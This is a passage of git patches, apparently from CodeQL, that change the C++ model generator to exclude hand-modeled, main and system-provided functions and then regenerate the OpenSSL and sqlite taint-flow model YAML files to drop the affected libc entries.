"Argument[*1].Field[*outname]", "Argument[*1].Field[**outname]", "taint", "dfc-generated"] + - ["", "", True, "tplt_print", "(FILE *,lemon *,char *,int *)", "", "Argument[*3]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "tplt_print", "(FILE *,lemon *,char *,int *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "tplt_print", "(FILE *,lemon *,char *,int *)", "", "Argument[3]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "tplt_print", "(FILE *,lemon *,char *,int *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "tplt_skip_header", "(FILE *,int *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "tplt_xfer", "(char *,FILE *,FILE *,int *)", "", "Argument[*0]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "tplt_xfer", "(char *,FILE *,FILE *,int *)", "", "Argument[*1]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "tplt_xfer", "(char *,FILE *,FILE *,int *)", "", "Argument[0]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "tplt_xfer", "(char *,FILE *,FILE *,int *)", "", "Argument[1]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "tplt_xfer", "(char *,FILE *,FILE *,int *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "useDummyCS", "(void *,sqlite3 *,int,const char *)", "", "Argument[1]", "Argument[*1].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "utf8_fromunicode", "(char *,unsigned int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "utf8_fromunicode", "(char *,unsigned int)", "", "Argument[1]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "zSkipValidUtf8", "(const char *,int,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "zSkipValidUtf8", "(const char *,int,long)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "zSkipValidUtf8", "(const char *,int,long)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] From d6beb2a6a0f87cd885f8e7093fe30485dc4879a9 Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen Date: Wed, 14 May 2025 12:45:42 +0100 Subject: [PATCH 170/535] C++: Don't generate models for stuff we have modeled in Ql by hand. --- .../modelgenerator/internal/CaptureModels.qll | 15 +++++++++++++++ 1 file changed, 15 insertions(+) diff --git a/cpp/ql/src/utils/modelgenerator/internal/CaptureModels.qll b/cpp/ql/src/utils/modelgenerator/internal/CaptureModels.qll index c30e2cc8f57a..ea6ab058134f 100644 --- a/cpp/ql/src/utils/modelgenerator/internal/CaptureModels.qll +++ b/cpp/ql/src/utils/modelgenerator/internal/CaptureModels.qll @@ -13,6 +13,8 @@ private import semmle.code.cpp.ir.dataflow.internal.TaintTrackingImplSpecific private import semmle.code.cpp.dataflow.new.TaintTracking as Tt private import semmle.code.cpp.dataflow.new.DataFlow as Df private import codeql.mad.modelgenerator.internal.ModelGeneratorImpl +private import semmle.code.cpp.models.interfaces.Taint as Taint +private import semmle.code.cpp.models.interfaces.DataFlow as DataFlow /** * Holds if `f` is a "private" function. @@ -46,6 +48,19 @@ private predicate isUninterestingForModels(Callable api) { or api.isFromUninstantiatedTemplate(_) or + // No need to generate models for functions modeled by hand in QL + api instanceof Taint::TaintFunction + or + api instanceof DataFlow::DataFlowFunction + or + // Don't generate models for main functions + api.hasGlobalName("main") + or + // Don't generate models for system-provided functions. If we want to + // generate models for these we should use a database containing the + // implementations of those system-provided functions in the source root. + not exists(api.getLocation().getFile().getRelativePath()) + or // Exclude functions in test directories (but not the ones in the CodeQL test directory) exists(Cpp::File f | f = api.getFile() and From 560ffc0e9bb62c52dfaed60ab764b07cee6b15c4 Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen Date: Wed, 14 May 2025 13:29:11 +0100 Subject: [PATCH 171/535] C++: Regenerate the models for OpenSSL and sqlite after model-generation changes. --- cpp/ql/lib/ext/generated/openssl.model.yml | 52 ---------------------- cpp/ql/lib/ext/generated/sqlite.model.yml | 42 ----------------- 2 files changed, 94 deletions(-) diff --git a/cpp/ql/lib/ext/generated/openssl.model.yml b/cpp/ql/lib/ext/generated/openssl.model.yml index 04b5eb99046f..83d90d430f96 100644 --- a/cpp/ql/lib/ext/generated/openssl.model.yml +++ b/cpp/ql/lib/ext/generated/openssl.model.yml @@ -1980,11 +1980,6 @@ extensions: - ["", "", True, "CRYPTO_ofb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,block128_f)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] - ["", "", True, "CRYPTO_ofb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,block128_f)", "", "Argument[5]", "Argument[*1]", "taint", "dfc-generated"] - ["", "", True, "CRYPTO_ofb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,block128_f)", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] - - ["", "", True, "CRYPTO_realloc", "(void *,size_t,const char *,int)", "", "Argument[**0]", "ReturnValue[**]", "value", "dfc-generated"] - - ["", "", True, "CRYPTO_realloc", "(void *,size_t,const char *,int)", "", "Argument[*0]", "ReturnValue[**]", "value", "dfc-generated"] - - ["", "", True, "CRYPTO_realloc", "(void *,size_t,const char *,int)", "", "Argument[*0]", "ReturnValue[*]", "value", "dfc-generated"] - - ["", "", True, "CRYPTO_realloc", "(void *,size_t,const char *,int)", "", "Argument[0]", "ReturnValue[**]", "taint", "dfc-generated"] - - ["", "", True, "CRYPTO_realloc", "(void *,size_t,const char *,int)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] - ["", "", True, "CRYPTO_secure_clear_free", "(void *,size_t,const char *,int)", "", "Argument[0]", "Argument[*0]", "taint", "df-generated"] - ["", "", True, "CRYPTO_secure_free", "(void *,const char *,int)", "", "Argument[0]", "Argument[*0]", "taint", "df-generated"] - ["", "", True, "CRYPTO_set_ex_data", "(CRYPTO_EX_DATA *,int,void *)", "", "Argument[*2]", "Argument[*0].Field[**sk].Field[***data]", "value", "dfc-generated"] @@ -8898,10 +8893,6 @@ extensions: - ["", "", True, "_CONF_add_string", "(CONF *,CONF_VALUE *,CONF_VALUE *)", "", "Argument[*1].Field[*section]", "Argument[*2].Field[*section]", "value", "dfc-generated"] - ["", "", True, "_CONF_new_section", "(CONF *,const char *)", "", "Argument[*1]", "ReturnValue[*].Field[**section]", "value", "dfc-generated"] - ["", "", True, "_CONF_new_section", "(CONF *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[**section]", "taint", "dfc-generated"] - - ["", "", True, "__cmsg_nxthdr", "(msghdr *,cmsghdr *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] - - ["", "", True, "__cmsg_nxthdr", "(msghdr *,cmsghdr *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] - - ["", "", True, "__cmsg_nxthdr", "(msghdr *,cmsghdr *)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] - - ["", "", True, "__cmsg_nxthdr", "(msghdr *,cmsghdr *)", "", "Argument[1]", "ReturnValue[*]", "taint", "dfc-generated"] - ["", "", True, "a2d_ASN1_OBJECT", "(unsigned char *,int,const char *,int)", "", "Argument[*2]", "Argument[*0]", "taint", "dfc-generated"] - ["", "", True, "a2d_ASN1_OBJECT", "(unsigned char *,int,const char *,int)", "", "Argument[2]", "Argument[*0]", "taint", "dfc-generated"] - ["", "", True, "a2i_GENERAL_NAME", "(GENERAL_NAME *,const X509V3_EXT_METHOD *,X509V3_CTX *,int,const char *,int)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] @@ -8948,14 +8939,6 @@ extensions: - ["", "", True, "args_excert", "(int,SSL_EXCERT **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] - ["", "", True, "async_wait_ctx_reset_counts", "(ASYNC_WAIT_CTX *)", "", "Argument[*0].Field[**fds].Field[**next]", "Argument[*0].Field[**fds]", "value", "dfc-generated"] - ["", "", True, "async_wait_ctx_reset_counts", "(ASYNC_WAIT_CTX *)", "", "Argument[*0].Field[**fds].Field[*next]", "Argument[*0].Field[*fds]", "value", "dfc-generated"] - - ["", "", True, "atof", "(const char *)", "", "Argument[*0]", "ReturnValue", "taint", "dfc-generated"] - - ["", "", True, "atof", "(const char *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] - - ["", "", True, "atoi", "(const char *)", "", "Argument[*0]", "ReturnValue", "taint", "dfc-generated"] - - ["", "", True, "atoi", "(const char *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] - - ["", "", True, "atol", "(const char *)", "", "Argument[*0]", "ReturnValue", "taint", "dfc-generated"] - - ["", "", True, "atol", "(const char *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] - - ["", "", True, "atoll", "(const char *)", "", "Argument[*0]", "ReturnValue", "taint", "dfc-generated"] - - ["", "", True, "atoll", "(const char *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] - ["", "", True, "b2i_DSA_PVK_bio", "(BIO *,pem_password_cb *,void *)", "", "Argument[*2]", "Argument[**2]", "value", "df-generated"] - ["", "", True, "b2i_DSA_PVK_bio", "(BIO *,pem_password_cb *,void *)", "", "Argument[2]", "Argument[**2]", "taint", "dfc-generated"] - ["", "", True, "b2i_DSA_PVK_bio_ex", "(BIO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[*2]", "Argument[**2]", "value", "df-generated"] @@ -9108,13 +9091,6 @@ extensions: - ["", "", True, "bn_wexpand", "(BIGNUM *,int)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["", "", True, "bn_wexpand", "(BIGNUM *,int)", "", "Argument[1]", "Argument[*0].Field[*dmax]", "value", "dfc-generated"] - ["", "", True, "bn_wexpand", "(BIGNUM *,int)", "", "Argument[1]", "ReturnValue[*].Field[*dmax]", "value", "dfc-generated"] - - ["", "", True, "bsearch", "(const void *,const void *,size_t,size_t,__compar_fn_t)", "", "Argument[*1]", "ReturnValue[*]", "value", "dfc-generated"] - - ["", "", True, "bsearch", "(const void *,const void *,size_t,size_t,__compar_fn_t)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] - - ["", "", True, "bsearch", "(const void *,const void *,size_t,size_t,__compar_fn_t)", "", "Argument[1]", "ReturnValue[*]", "taint", "dfc-generated"] - - ["", "", True, "bsearch", "(const void *,const void *,size_t,size_t,__compar_fn_t)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] - - ["", "", True, "bsearch", "(const void *,const void *,size_t,size_t,__compar_fn_t)", "", "Argument[2]", "ReturnValue[*]", "taint", "dfc-generated"] - - ["", "", True, "bsearch", "(const void *,const void *,size_t,size_t,__compar_fn_t)", "", "Argument[3]", "ReturnValue", "taint", "dfc-generated"] - - ["", "", True, "bsearch", "(const void *,const void *,size_t,size_t,__compar_fn_t)", "", "Argument[3]", "ReturnValue[*]", "taint", "dfc-generated"] - ["", "", True, "ca_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] - ["", "", True, "ca_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] - ["", "", True, "calculate_columns", "(FUNCTION *,DISPLAY_COLUMNS *)", "", "Argument[*1].Field[*width]", "Argument[*1].Field[*columns]", "taint", "dfc-generated"] @@ -17178,18 +17154,12 @@ extensions: - ["", "", True, "fake_rand_start", "(OSSL_LIB_CTX *)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] - ["", "", True, "fake_rsa_start", "(OSSL_LIB_CTX *)", "", "Argument[*0]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] - ["", "", True, "fake_rsa_start", "(OSSL_LIB_CTX *)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] - - ["", "", True, "feof_unlocked", "(FILE *)", "", "Argument[*0].Field[*_flags]", "ReturnValue", "taint", "dfc-generated"] - - ["", "", True, "ferror_unlocked", "(FILE *)", "", "Argument[*0].Field[*_flags]", "ReturnValue", "taint", "dfc-generated"] - - ["", "", True, "fgetc_unlocked", "(FILE *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] - ["", "", True, "filter_provider_init", "(const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **)", "", "Argument[*0]", "Argument[**3].Field[**handle]", "value", "dfc-generated"] - ["", "", True, "filter_provider_init", "(const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **)", "", "Argument[0]", "Argument[**3].Field[*handle]", "value", "dfc-generated"] - ["", "", True, "filter_provider_init", "(const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] - ["", "", True, "filter_provider_init", "(const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] - ["", "", True, "fipsinstall_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] - ["", "", True, "fipsinstall_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] - - ["", "", True, "fputc_unlocked", "(int,FILE *)", "", "Argument[0]", "Argument[*1].Field[**_IO_write_ptr]", "value", "dfc-generated"] - - ["", "", True, "fread_unlocked", "(void *__restrict__,size_t,size_t,FILE *__restrict__)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] - - ["", "", True, "fread_unlocked", "(void *__restrict__,size_t,size_t,FILE *__restrict__)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] - ["", "", True, "gendsa_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] - ["", "", True, "gendsa_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] - ["", "", True, "generic_import", "(void *,int,const OSSL_PARAM[])", "", "Argument[*0].Field[**libctx]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] @@ -17203,9 +17173,6 @@ extensions: - ["", "", True, "get_ca_names", "(SSL_CONNECTION *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] - ["", "", True, "get_passwd", "(const char *,const char *)", "", "Argument[*0]", "ReturnValue[*]", "value", "dfc-generated"] - ["", "", True, "get_passwd", "(const char *,const char *)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] - - ["", "", True, "getc_unlocked", "(FILE *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] - - ["", "", True, "getline", "(char **,char **__restrict__,size_t *,size_t *__restrict__,FILE *,FILE *__restrict__)", "", "Argument[*2]", "Argument[*0]", "taint", "dfc-generated"] - - ["", "", True, "getline", "(char **,char **__restrict__,size_t *,size_t *__restrict__,FILE *,FILE *__restrict__)", "", "Argument[2]", "Argument[*0]", "taint", "dfc-generated"] - ["", "", True, "gf_add", "(gf,const gf,const gf)", "", "Argument[*1].Field[*limb]", "Argument[*0].Field[*limb]", "taint", "dfc-generated"] - ["", "", True, "gf_add", "(gf,const gf,const gf)", "", "Argument[*2].Field[*limb]", "Argument[*0].Field[*limb]", "taint", "dfc-generated"] - ["", "", True, "gf_deserialize", "(gf,const uint8_t[56],int,uint8_t)", "", "Argument[*0].Field[*limb]", "ReturnValue", "taint", "dfc-generated"] @@ -18328,11 +18295,6 @@ extensions: - ["", "", True, "lookup_sess_in_cache", "(SSL_CONNECTION *,const unsigned char *,size_t)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] - ["", "", True, "mac_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] - ["", "", True, "mac_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] - - ["", "", True, "main", "(int,char **)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] - - ["", "", True, "main", "(int,char **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] - - ["", "", True, "main", "(int,char *[])", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] - - ["", "", True, "main", "(int,char *[])", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] - - ["", "", True, "main", "(int,char *[])", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] - ["", "", True, "make_engine_uri", "(ENGINE *,const char *,const char *)", "", "Argument[*0].Field[**id]", "ReturnValue[*]", "value", "dfc-generated"] - ["", "", True, "make_engine_uri", "(ENGINE *,const char *,const char *)", "", "Argument[*0].Field[*id]", "ReturnValue[*]", "taint", "dfc-generated"] - ["", "", True, "make_engine_uri", "(ENGINE *,const char *,const char *)", "", "Argument[*1]", "ReturnValue[*]", "value", "dfc-generated"] @@ -18340,13 +18302,6 @@ extensions: - ["", "", True, "make_uppercase", "(char *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] - ["", "", True, "md4_block_data_order", "(MD4_CTX *,const void *,size_t)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] - ["", "", True, "md4_block_data_order", "(MD4_CTX *,const void *,size_t)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] - - ["", "", True, "memcpy", "(void *__restrict__,const void *__restrict__,size_t)", "", "Argument[**1]", "Argument[*0]", "value", "dfc-generated"] - - ["", "", True, "memcpy", "(void *__restrict__,const void *__restrict__,size_t)", "", "Argument[**1]", "ReturnValue[**]", "value", "dfc-generated"] - - ["", "", True, "memcpy", "(void *__restrict__,const void *__restrict__,size_t)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] - - ["", "", True, "memcpy", "(void *__restrict__,const void *__restrict__,size_t)", "", "Argument[*1]", "Argument[*0]", "value", "df-generated"] - - ["", "", True, "memcpy", "(void *__restrict__,const void *__restrict__,size_t)", "", "Argument[*1]", "ReturnValue[**]", "value", "df-generated"] - - ["", "", True, "memcpy", "(void *__restrict__,const void *__restrict__,size_t)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] - - ["", "", True, "memcpy", "(void *__restrict__,const void *__restrict__,size_t)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["", "", True, "mempacket_test_inject", "(BIO *,const char *,int,int,int)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] - ["", "", True, "name_cmp", "(const char *const *,const char *const *)", "", "Argument[**0]", "ReturnValue", "taint", "dfc-generated"] - ["", "", True, "name_cmp", "(const char *const *,const char *const *)", "", "Argument[**1]", "ReturnValue", "taint", "dfc-generated"] @@ -21332,7 +21287,6 @@ extensions: - ["", "", True, "print_verify_detail", "(SSL *,BIO *)", "", "Argument[*0].Field[**tls].Field[**param]", "Argument[*0].Field[**param]", "value", "dfc-generated"] - ["", "", True, "process_responder", "(OCSP_REQUEST *,const char *,const char *,const char *,const char *,const char *,int,stack_st_CONF_VALUE *,int)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] - ["", "", True, "pulldown_test_framework", "(int)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["", "", True, "putc_unlocked", "(int,FILE *)", "", "Argument[0]", "Argument[*1].Field[**_IO_write_ptr]", "value", "dfc-generated"] - ["", "", True, "qtest_create_injector", "(QUIC_TSERVER *)", "", "Argument[*0]", "ReturnValue[*].Field[**qtserv]", "value", "dfc-generated"] - ["", "", True, "qtest_create_injector", "(QUIC_TSERVER *)", "", "Argument[0]", "ReturnValue[*].Field[*qtserv]", "value", "dfc-generated"] - ["", "", True, "qtest_create_quic_connection", "(QUIC_TSERVER *,SSL *)", "", "Argument[1]", "Argument[*1].Field[**waitctx].Field[*callback_arg]", "value", "dfc-generated"] @@ -21430,16 +21384,12 @@ extensions: - ["", "", True, "smime_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] - ["", "", True, "smime_main", "(int,char **,char *[])", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] - ["", "", True, "smime_main", "(int,char **,char *[])", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] - - ["", "", True, "snprintf", "(char *__restrict__,size_t,const char *__restrict__,...)", "", "Argument[*2]", "Argument[*0]", "taint", "dfc-generated"] - - ["", "", True, "snprintf", "(char *__restrict__,size_t,const char *__restrict__,...)", "", "Argument[2]", "Argument[*0]", "taint", "dfc-generated"] - ["", "", True, "speed_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] - ["", "", True, "speed_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] - ["", "", True, "speed_main", "(int,char **,char *[])", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] - ["", "", True, "speed_main", "(int,char **,char *[])", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] - ["", "", True, "spkac_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] - ["", "", True, "spkac_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] - - ["", "", True, "sprintf", "(char *__restrict__,const char *__restrict__,...)", "", "Argument[*1]", "Argument[*0]", "taint", "dfc-generated"] - - ["", "", True, "sprintf", "(char *__restrict__,const char *__restrict__,...)", "", "Argument[1]", "Argument[*0]", "taint", "dfc-generated"] - ["", "", True, "srp_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] - ["", "", True, "srp_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] - ["", "", True, "srp_main", "(int,char **,char *[])", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] @@ -21848,8 +21798,6 @@ extensions: - ["", "", True, "tls_write_records_default", "(OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t)", "", "Argument[*1].Field[*buflen]", "Argument[*0].Field[**compctx].Field[*compress_in]", "taint", "dfc-generated"] - ["", "", True, "tls_write_records_multiblock", "(OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t)", "", "Argument[*1].Field[*buflen]", "Argument[*0].Field[**compctx].Field[*compress_in]", "taint", "dfc-generated"] - ["", "", True, "tls_write_records_multiblock", "(OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t)", "", "Argument[2]", "Argument[*0].Field[*sequence]", "taint", "dfc-generated"] - - ["", "", True, "tolower", "(int)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["", "", True, "toupper", "(int)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["", "", True, "ts_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] - ["", "", True, "ts_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] - ["", "", True, "unpack_revinfo", "(ASN1_TIME **,int *,ASN1_OBJECT **,ASN1_GENERALIZEDTIME **,const char *)", "", "Argument[*4]", "Argument[**0].Field[**data]", "value", "dfc-generated"] diff --git a/cpp/ql/lib/ext/generated/sqlite.model.yml b/cpp/ql/lib/ext/generated/sqlite.model.yml index e1e91a4a8488..29251e3be966 100644 --- a/cpp/ql/lib/ext/generated/sqlite.model.yml +++ b/cpp/ql/lib/ext/generated/sqlite.model.yml @@ -417,21 +417,6 @@ extensions: - ["", "", True, "append_str", "(const char *,int,int,int)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] - ["", "", True, "append_str", "(const char *,int,int,int)", "", "Argument[1]", "ReturnValue[*].Field[*sz]", "taint", "dfc-generated"] - ["", "", True, "append_str", "(const char *,int,int,int)", "", "Argument[1]", "ReturnValue[*]", "taint", "dfc-generated"] - - ["", "", True, "atof", "(const char *)", "", "Argument[*0]", "ReturnValue", "taint", "dfc-generated"] - - ["", "", True, "atof", "(const char *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] - - ["", "", True, "atoi", "(const char *)", "", "Argument[*0]", "ReturnValue", "taint", "dfc-generated"] - - ["", "", True, "atoi", "(const char *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] - - ["", "", True, "atol", "(const char *)", "", "Argument[*0]", "ReturnValue", "taint", "dfc-generated"] - - ["", "", True, "atol", "(const char *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] - - ["", "", True, "atoll", "(const char *)", "", "Argument[*0]", "ReturnValue", "taint", "dfc-generated"] - - ["", "", True, "atoll", "(const char *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] - - ["", "", True, "bsearch", "(const void *,const void *,size_t,size_t,__compar_fn_t)", "", "Argument[*1]", "ReturnValue[*]", "value", "dfc-generated"] - - ["", "", True, "bsearch", "(const void *,const void *,size_t,size_t,__compar_fn_t)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] - - ["", "", True, "bsearch", "(const void *,const void *,size_t,size_t,__compar_fn_t)", "", "Argument[1]", "ReturnValue[*]", "taint", "dfc-generated"] - - ["", "", True, "bsearch", "(const void *,const void *,size_t,size_t,__compar_fn_t)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] - - ["", "", True, "bsearch", "(const void *,const void *,size_t,size_t,__compar_fn_t)", "", "Argument[2]", "ReturnValue[*]", "taint", "dfc-generated"] - - ["", "", True, "bsearch", "(const void *,const void *,size_t,size_t,__compar_fn_t)", "", "Argument[3]", "ReturnValue", "taint", "dfc-generated"] - - ["", "", True, "bsearch", "(const void *,const void *,size_t,size_t,__compar_fn_t)", "", "Argument[3]", "ReturnValue[*]", "taint", "dfc-generated"] - ["", "", True, "close_db", "(sqlite3 *)", "", "Argument[0]", "Argument[*0].Field[**pErr].Field[*db]", "value", "dfc-generated"] - ["", "", True, "compute_action", "(lemon *,action *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] - ["", "", True, "confighash", "(config *)", "", "Argument[*0].Field[**rp].Field[*index]", "ReturnValue", "taint", "dfc-generated"] @@ -441,9 +426,6 @@ extensions: - ["", "", True, "emit_code", "(FILE *,rule *,lemon *,int *)", "", "Argument[3]", "Argument[*0]", "taint", "dfc-generated"] - ["", "", True, "emit_code", "(FILE *,rule *,lemon *,int *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] - ["", "", True, "emit_destructor_code", "(FILE *,symbol *,lemon *,int *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] - - ["", "", True, "feof_unlocked", "(FILE *)", "", "Argument[*0].Field[*_flags]", "ReturnValue", "taint", "dfc-generated"] - - ["", "", True, "ferror_unlocked", "(FILE *)", "", "Argument[*0].Field[*_flags]", "ReturnValue", "taint", "dfc-generated"] - - ["", "", True, "fgetc_unlocked", "(FILE *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] - ["", "", True, "file_makename", "(lemon *,const char *)", "", "Argument[*0].Field[**filename]", "ReturnValue[*]", "value", "dfc-generated"] - ["", "", True, "file_makename", "(lemon *,const char *)", "", "Argument[*0].Field[*filename]", "ReturnValue[*]", "taint", "dfc-generated"] - ["", "", True, "file_makename", "(lemon *,const char *)", "", "Argument[*1]", "ReturnValue[*]", "value", "dfc-generated"] @@ -452,12 +434,6 @@ extensions: - ["", "", True, "file_open", "(lemon *,const char *,const char *)", "", "Argument[*1]", "ReturnValue[*]", "taint", "dfc-generated"] - ["", "", True, "file_open", "(lemon *,const char *,const char *)", "", "Argument[1]", "Argument[*0].Field[**outname]", "taint", "dfc-generated"] - ["", "", True, "file_open", "(lemon *,const char *,const char *)", "", "Argument[1]", "ReturnValue[*]", "taint", "dfc-generated"] - - ["", "", True, "fputc_unlocked", "(int,FILE *)", "", "Argument[0]", "Argument[*1].Field[**_IO_write_ptr]", "value", "dfc-generated"] - - ["", "", True, "fread_unlocked", "(void *__restrict__,size_t,size_t,FILE *__restrict__)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] - - ["", "", True, "fread_unlocked", "(void *__restrict__,size_t,size_t,FILE *__restrict__)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] - - ["", "", True, "getc_unlocked", "(FILE *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] - - ["", "", True, "getline", "(char **,char **__restrict__,size_t *,size_t *__restrict__,FILE *,FILE *__restrict__)", "", "Argument[*2]", "Argument[*0]", "taint", "dfc-generated"] - - ["", "", True, "getline", "(char **,char **__restrict__,size_t *,size_t *__restrict__,FILE *,FILE *__restrict__)", "", "Argument[2]", "Argument[*0]", "taint", "dfc-generated"] - ["", "", True, "getstate", "(lemon *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] - ["", "", True, "has_destructor", "(symbol *,lemon *)", "", "Argument[*1].Field[*tokendest]", "ReturnValue", "taint", "dfc-generated"] - ["", "", True, "jim_regcomp", "(regex_t *,const char *,int)", "", "Argument[*1]", "Argument[*0].Field[**regparse]", "value", "dfc-generated"] @@ -471,19 +447,7 @@ extensions: - ["", "", True, "jim_regexec", "(regex_t *,const char *,size_t,regmatch_t[],int)", "", "Argument[2]", "Argument[*0].Field[*nmatch]", "value", "dfc-generated"] - ["", "", True, "jim_regexec", "(regex_t *,const char *,size_t,regmatch_t[],int)", "", "Argument[3]", "Argument[*0].Field[*pmatch]", "value", "dfc-generated"] - ["", "", True, 